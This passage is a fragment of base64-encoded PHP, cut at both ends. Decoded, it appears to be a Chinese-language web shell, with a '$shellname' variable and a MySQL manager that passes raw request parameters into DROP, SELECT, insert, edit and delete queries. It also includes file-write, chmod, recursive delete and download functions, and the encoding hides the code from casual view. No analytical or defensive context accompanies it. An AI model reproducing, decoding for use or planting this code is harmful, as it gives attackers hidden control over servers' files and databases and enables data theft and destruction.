Anyb6z/bPJuaYnIDogJ8m+s/3Kp7DcICcgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGFjdGlvbiA9ICc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ107CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2Ryb3AnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnRHJvcCBUQUJMRSBJRiBFWElTVFMgJyAuICRfR0VUWydkcm9wJ10gLiAnOyc7CiAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggPSBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSkgPyAnyb6z/bPJuaYnIDogJ8m+s/3Kp7DcICcgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgewogICAgICAgICAgICAgICAgICAgICRhY3Rpb24gLj0gJyZ0YWJsZT0nIC4gJF9HRVRbJ3RhYmxlJ107CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSAkYWN0aW9uIC49ICcmZWRpdD0nIC4gJF9HRVRbJ2VkaXQnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSAkYWN0aW9uIC49ICcmaW5zZXJ0PScgLiAkX0dFVFsnaW5zZXJ0J107CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSInIC4gJGFjdGlvbiAuICciIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iPic7CiAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgbmFtZT0ibnNxbCIgaWQ9Im5zcWwiIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NTBweDsiPicgLiAkX1BPU1RbJ25zcWwnXSAuICc8L3RleHRhcmVhPiAnOwogICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgbmFtZT0icXVlcnlzcWwiIHZhbHVlPSLWtNDQIiBvbmNsaWNrPSJTdWJtaXRVcmwoKTsiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyI+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ose0iIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdhXCcpIj4gJzsKICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ov+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdiXCcpIj4gJzsKICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLJvrP9v+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdjXCcpIj48L2Zvcm0+PC9kaXY+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9Im1zZ2JveCIgc3R5bGU9ImhlaWdodDo0MHB4OyI+JyAuICRNU0dfQk9YIC4gJzwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyI+JyAuICRfR0VUWydkYiddIC4gJzwvYT4gLS0tPiAnOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij93ZWJzaXRlXz1teXNxbGlfbXNnJmRiPScgLiAkX0dFVFsnZGInXSAuICcmdGFibGU9JyAuICRfR0VUWyd0YWJsZSddIC4gJyI+JyAuICRfR0VUWyd0YWJsZSddIC4gJzwvYT4gJzsKICAgICAgICAgICAgICAgICAgICBlY2hvICdbPGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZpbnNlcnQ9JyAuICRfR0VUWyd0YWJsZSddIC4gJyI+suXI6zwvYT5dPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydwJ10pKSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ10gLiAnJnA9JyAuICRfR0VUWydwJ107IGVsc2UgJGF0YWJsZSA9ICRfR0VUWyd0YWJsZSddOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJGF0YWJsZSAuICciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sJ1NFTEVDVCAqIEZST00gJyAuICRfR0VUWyd0YWJsZSddIC4gJyBMSU1JVCAnIC4gJF9HRVRbJ2VkaXQnXSAuICcsIDE7Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICRnb29kID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICAkdSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRnb29kIGFzICR2YXIgPT4gJGtleSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5YyAuPSAkdmFyIC4gJz1cJycgLiAka2V5IC4gJ1wnIEFORCAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBAbXlzcWxpX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9IEBteXNxbGlfZmllbGRfbGVuKCRyZXN1bHQsICR1KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JyAuICR2YXIgLiAnIDxmb250IGNvbG9yPSIjRkYwMDAwIj4nIC4gJHR5cGUgLiAnKCcgLiAkbGVuIC4gJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJ1cHNxbFsnIC4gJHZhciAuICddIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjYwcHg7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygka2V5KSAuICc8L3RleHRhcmVhPjwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdSsrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSA9ICdXSEVSRSAnIC4gc3Vic3RyKCRxdWVyeWMsIDAsIC00KTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9IndoZXJldmFyIiBuYW1lPSJ3aGVyZXZhciIgdmFsdWU9IicgLiBiYXNlNjRfZW5jb2RlKCR3aGVyZSkgLiAnIj4nOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NIT1cgQ09MVU1OUyBGUk9NICcgLiAkX0dFVFsndGFibGUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlc2l6ZSA9IDIwOwogICAgICAgICAgICAgICAgICAgICAgICAkcm93X251bSA9IG15c3FsaV9udW1fcm93cyhteXNxbGlfcXVlcnkoJGNvbm4sJ1NFTEVDVCAqIEZST00gJyAuICRfR0VUWyd0YWJsZSddKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRudW1yb3dzID0gJHJvd19udW07CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlcyA9IGludHZhbCgkbnVtcm93cyAvICRwYWdlc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbnVtcm93cyAlICRwYWdlc2l6ZSkgJHBhZ2VzKys7CiAgICAgICAgICAgICAgICAgICAgICAgICRvZmZzZXQgPSAkcGFnZXNpemUgKiAoJHBhZ2UgLSAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2UgPSAkX0dFVFsncCddOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRwYWdlKSAkcGFnZSA9IDE7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWydwJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX0dFVFsncCddID0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRwID0gKChpbnQpJF9HRVRbJ3AnXSAtIDEpICogMjA7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiIG5vd3JhcD6y2df3PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZpZWxkcywgJHJvd1snRmllbGQnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBub3dyYXA+JyAuICRyb3dbJ0ZpZWxkJ10gLiAnPC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9XSEVSRXxMSU1JVC9pJywgJF9QT1NUWyduc3FsJ10pICYmIHByZWdfbWF0Y2goJy9TRUxFQ1R8RlJPTS9pJywgJF9QT1NUWyduc3FsJ10pKSAkcXVlcnkgPSAkX1BPU1RbJ25zcWwnXTsgZWxzZSAkcXVlcnkgPSAnU0VMRUNUICogRlJPTSAnIC4gJF9HRVRbJ3RhYmxlJ10gLiAnIExJTUlUICcgLiAkcCAuICcsIDIwOyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gJHA7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkdGV4dCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ3RhYmxlJ10gLiAnJnA9JyAuICRfR0VUWydwJ10gLiAnJmVkaXQ9JyAuICR2IC4gJyI+INDeuMQgPC9hPiAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCfL/FwnLFwnP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ3RhYmxlJ10gLiAnJnA9JyAuICRfR0VUWydwJ10gLiAnJmRlbD0nIC4gJHYgLiAnXCcpO3JldHVybiBmYWxzZTsiPiDJvrP9IDwvYT48L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmllbGRzIGFzICRyb3cpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JyAuIG5sMmJyKGh0bWxzcGVjaWFsY2hhcnMobXlzcWxpX0xlbigkdGV4dFskcm93XSwgNTAwKSkpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Kys7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT48ZGl2IGNsYXNzPSJhY3RhbGwiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlcCA9ICRwYWdlIC0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VuID0gJHBhZ2UgKyAxOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICK5stPQICIgLiAkcm93X251bSAuICIgzPW8x8K8ICI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFnZXAgPiAwKSAkcGFnZW5hdiAuPSAiICA8YSBocmVmPSc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkX0dFVFsndGFibGUnXSAuICImcD0xJmNoYXJzZXQ9IiAuICRfR0VUWydjaGFyc2V0J10gLiAiJz7K19KzPC9hPiA8YSBocmVmPSc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkX0dFVFsndGFibGUnXSAuICImcD0iIC4gJHBhZ2VwIC4gIiZjaGFyc2V0PSIgLiAkX0dFVFsnY2hhcnNldCddIC4gIic+yc/Su9KzPC9hPiAiOyBlbHNlICRwYWdlbmF2IC49ICIgyc/Su9KzICI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFnZW4gPD0gJHBhZ2VzKSAkcGFnZW5hdiAuPSAiIDxhIGhyZWY9Jz93ZWJzaXRlXz1teXNxbGlfbXNnJmRiPSIgLiAkX0dFVFsnZGInXSAuICImdGFibGU9IiAuICRfR0VUWyd0YWJsZSddIC4gIiZwPSIgLiAkcGFnZW4gLiAiJmNoYXJzZXQ9IiAuICRfR0VUWydjaGFyc2V0J10gLiAiJz7PwtK70rM8L2E+IDxhIGhyZWY9Jz93ZWJzaXRlXz1teXNxbGlfbXNnJmRiPSIgLiAkX0dFVFsnZGInXSAuICImdGFibGU9IiAuICRfR0VUWyd0YWJsZSddIC4gIiZwPSIgLiAkcGFnZXMgLiAiJmNoYXJzZXQ9IiAuICRfR0VUWydjaGFyc2V0J10gLiAiJz7OstKzPC9hPiI7IGVsc2UgJHBhZ2VuYXYgLj0gIiDPwtK70rMgIjsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VuYXYgLj0gIiC12iBbIiAuICRwYWdlIC4gIi8iIC4gJHBhZ2VzIC4gIl0g0rMgICDM+LW9PGlucHV0IG5hbWU9J3RleHRmaWVsZCcgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgc2l6ZT0nNCcgdmFsdWU9JyIgLiAkcGFnZSAuICInIG9ua2V5ZG93bj1cImlmKGV2ZW50LmtleUNvZGU9PTEzKXNlbGYubG9jYXRpb24uaHJlZj0nP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9IiAuICRfR0VUWydkYiddIC4gIiZ0YWJsZT0iIC4gJF9HRVRbJ3RhYmxlJ10gLiAiJnA9Jyt0aGlzLnZhbHVlKycmY2hhcnNldD0iIC4gJF9HRVRbJ2NoYXJzZXQnXSAuICInO1wiIC8+0rMiOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRwYWdlbmF2OwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ2luc2VydCddIC4gJyI+JyAuICRfR0VUWydpbnNlcnQnXSAuICc8L2E+PC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCdTRUxFQ1QgKiBGUk9NICcgLiAkX0dFVFsnaW5zZXJ0J10pOwogICAgICAgICAgICAgICAgICAgICRmaWVsZG51bSA9IEBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ2luc2VydCddIC4gJyI+JzsKICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmllbGRudW07ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5hbWUgPSBAbXlzcWxpX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9IEBteXNxbGlfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSBAbXlzcWxpX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JyAuICRuYW1lIC4gJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JyAuICR0eXBlIC4gJygnIC4gJGxlbiAuICcpPC9mb250Pjxicj48dGV4dGFyZWEgbmFtZT0iaW5zcWxbJyAuICRuYW1lIC4gJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPjwvdGV4dGFyZWE+PC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSW5zZXJ0IiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnU0hPVyBUQUJMRSBTVEFUVVMnOwogICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkc3RhdHUgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRzdGF0dXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdGF0dXNpemVbXSA9ICRzdGF0dVsnRGF0YV9sZW5ndGgnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1Y29sbFtdID0gJHN0YXR1WydDb2xsYXRpb24nXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NIT1cgVEFCTEVTIEZST00gJyAuICRfR0VUWydkYiddIC4gJzsnOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pjx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo1NTBweDsiPiCx7cP7IDwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6ODBweDsiPiCy2df3IDwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6MTMwcHg7Ij4g19a3+7yvIDwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiPiC089ChIDwvdGQ+PC90cj4nOwogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwogICAgICAgICAgICAgICAgICAgICRrID0gMDsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHRhYmxlID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY2hhcnNldCA9IHN1YnN0cigkc3RhdHVjb2xsWyRrXSwgMCwgc3RycG9zKCRzdGF0dWNvbGxbJGtdLCAnXycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPjx0ZD48YSBocmVmPSI/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ10gLiAnJnRhYmxlPScgLiAkdGFibGVbMF0gLiAnIj4nIC4gJHRhYmxlWzBdIC4gJzwvYT48L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48YSBocmVmPSI/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ10gLiAnJmluc2VydD0nIC4gJHRhYmxlWzBdIC4gJyI+ILLlyOsgPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycgLiAkdGFibGVbMF0gLiAnXCcsXCc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ10gLiAnJmRyb3A9JyAuICR0YWJsZVswXSAuICdcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicgLiAkc3RhdHVjb2xsWyRrXSAuICc8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPicgLiBGaWxlX1NpemUoJHN0YXR1c2l6ZVska10pIC4gJzwvdGQ+PC90cj4nIC4gIlxyXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAkaysrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgZGllKCfBrL3TTVlTUUzKp7DcLMfr1tjQwrXHwrwuPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3dlYnNpdGVfPW15c3FsaV9leGVjIj4nKTsKICAgICAgICBpZiAoISRCT09MIGFuZCBhZGRzbGFzaGVzKCRxdWVyeSkgIT0gJycpIGVjaG8gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5kb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25zcWxcJykudmFsdWUgPSBcJycgLiBhZGRzbGFzaGVzKCRxdWVyeSkgLiAnXCc7PC9zY3JpcHQ+JzsKICAgICAgICBicmVhazsKCgogICAgZGVmYXVsdDoKICAgICAgICBodG1sX21haW4oJHBhdGgsICRzaGVsbG5hbWUpOwogICAgICAgIGJyZWFrOwp9CmNzc19mb290KCk7CgpmdW5jdGlvbiBkb193cml0ZSgkZmlsZSwgJHQsICR0ZXh0KQp7CiAgICAka2V5ID0gdHJ1ZTsKICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGUsICR0KTsKICAgIGlmICghQGZ3cml0ZSgkaGFuZGxlLCAkdGV4dCkpIHsKICAgICAgICBAY2htb2QoJGZpbGUsIDA2NjYpOwogICAgICAgICRrZXkgPSBAZndyaXRlKCRoYW5kbGUsICR0ZXh0KSA/IHRydWUgOiBmYWxzZTsKICAgIH0KICAgIEBmY2xvc2UoJGhhbmRsZSk7CiAgICByZXR1cm4gJGtleTsKfQoKZnVuY3Rpb24gZG9fc2hvdygkZmlsZXBhdGgpCnsKICAgICRzaG93ID0gYXJyYXkoKTsKICAgICRkaXIgPSBkaXIoJGZpbGVwYXRoKTsKICAgIHdoaWxlICgkZmlsZSA9ICRkaXItPnJlYWQoKSkgewogICAgICAgIGlmICgkZmlsZSA9PSAnLicgb3IgJGZpbGUgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgJGZpbGVzID0gc3RyX3BhdGgoJGZpbGVwYXRoIC4gJy8nIC4gJGZpbGUpOwogICAgICAgICRzaG93W10gPSAkZmlsZXM7CiAgICB9CiAgICAkZGlyLT5jbG9zZSgpOwogICAgcmV0dXJuICRzaG93Owp9CgoKZnVuY3Rpb24gZG9fZGVsdHJlZSgkZGVsZGlyKQp7CiAgICAkc2hvd2ZpbGUgPSBkb19zaG93KCRkZWxkaXIpOwogICAgZm9yZWFjaCAoJHNob3dmaWxlIGFzICRkZWwpIHsKICAgICAgICBpZiAoaXNfZGlyKCRkZWwpKSB7CiAgICAgICAgICAgIGlmICghZG9fZGVsdHJlZSgkZGVsKSkgcmV0dXJuIGZhbHNlOwogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKCRkZWwpKSB7CiAgICAgICAgICAgIEBjaG1vZCgkZGVsLCAwNzc3KTsKICAgICAgICAgICAgaWYgKCFAdW5saW5rKCRkZWwpKSByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQogICAgQGNobW9kKCRkZWxkaXIsIDA3NzcpOwogICAgaWYgKCFAcm1kaXIoJGRlbGRpcikpIHJldHVybiBmYWxzZTsKICAgIHJldHVybiB0cnVlOwp9CgpmdW5jdGlvbiBkb19zaG93c3FsKCRjb25uLCRxdWVyeSkKewogICAgJHJlc3VsdCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KTsKICAgIGh0bWxfbignPGJyPjxicj48dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjE1Ij4nKTsKICAgIHdoaWxlICgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IEBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsgJGkrKykgewogICAgICAgICAgICBodG1sX24oaHRtbHNwZWNpYWxjaGFycygkcm93WyRpXSkpOwogICAgICAgIH0KICAgIH0KICAgIGh0bWxfbignPC90ZXh0YXJlYT4nKTsKfQoKZnVuY3Rpb24gaG1sb2dpbigkeGlhbyA9IDEpCnsKICAgIGlmICgkeGlhbyA9PSAxKSB7CiAgICAgICAgZWNobyAiPHNjcmlwdCBzcmM9Jz9sb2dpbj1nZXR1cmwnPjwvc2NyaXB0PjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7VVJMPT8nPiI7CiAgICB9Cn0KCmZ1bmN0aW9uIGRvX2Rvd24oJGZkKQp7CiAgICBpZiAoIUBmaWxlX2V4aXN0cygkZmQpKSBtc2coJ8/C1NjOxLz+sru05tTaJyk7CiAgICAkZmlsZWluZm8gPSBwYXRoaW5mbygkZmQpOwogICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJyAuICRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOwogICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZmQpKTsKICAgIEByZWFkZmlsZSgkZmQpOwogICAgZXhpdDsKfQoKZnVuY3Rpb24gZG9fZG93bmxvYWQoJGZpbGVjb2RlLCAkZmlsZSkKewogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24iKTsKICAgIGhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsKICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIgLiBzdHJsZW4oJGZpbGVjb2RlKSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiAkZmlsZSAuICI7Iik7CiAgICBlY2hvICRmaWxlY